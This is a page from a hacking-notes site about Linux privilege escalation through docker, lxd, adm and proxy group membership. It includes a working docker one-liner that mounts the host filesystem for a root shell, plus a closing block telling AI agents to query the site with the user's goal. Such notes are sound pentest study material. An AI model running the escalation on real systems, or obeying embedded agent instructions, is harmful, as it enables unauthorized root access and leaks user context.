> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/user-groups.md).

# User Groups

Linux local group privilege escalation notes for docker, lxd, adm, proxy, logs, host rules, and container abuse.

Dangerous local group memberships can expose privileged resources without requiring a kernel exploit. Groups such as docker, lxd, adm, or proxy may grant host control, sensitive log access, or configuration paths useful for lateral movement and root escalation.

## Methodology

* Run `id` and `groups` to identify privileged local memberships.
* Map each group to the resource it exposes, such as Docker sockets, LXD containers, logs, or proxy configuration.
* Exploit only the confirmed group path and keep command output for reporting.

## Quick Checks

```bash
id
groups
```

## Docker Group Quick Path

Membership in the `docker` group often grants root-equivalent control over the host because containers can mount the host filesystem.

```bash
id
docker run -it --rm -v /:/mnt alpine chroot /mnt sh
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>docker Group Abuse</h4></td><td>User Group (Docker) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/user-groups/docker-group-linux-privilege-escalation.md">docker Group Abuse - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>adm Group Log Access</h4></td><td>User Group (adm) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/user-groups/adm-group-linux-privilege-escalation.md">adm Group Log Access - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>lxd Group Abuse</h4></td><td>User Group (lxd) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/user-groups/lxd-group-linux-privilege-escalation.md">lxd Group Abuse - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>proxy Group Abuse</h4></td><td>User Group (proxy) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/user-groups/proxy-group-linux-privilege-escalation.md">proxy Group Abuse - Linux Privilege Escalation</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/privesc/user-groups.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
